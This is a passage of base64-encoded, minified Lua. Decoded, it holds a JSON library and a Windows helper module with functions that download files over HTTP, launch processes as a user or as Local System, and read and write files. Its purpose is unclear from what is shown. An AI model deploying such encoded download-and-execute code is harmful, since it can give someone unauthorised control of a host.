dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
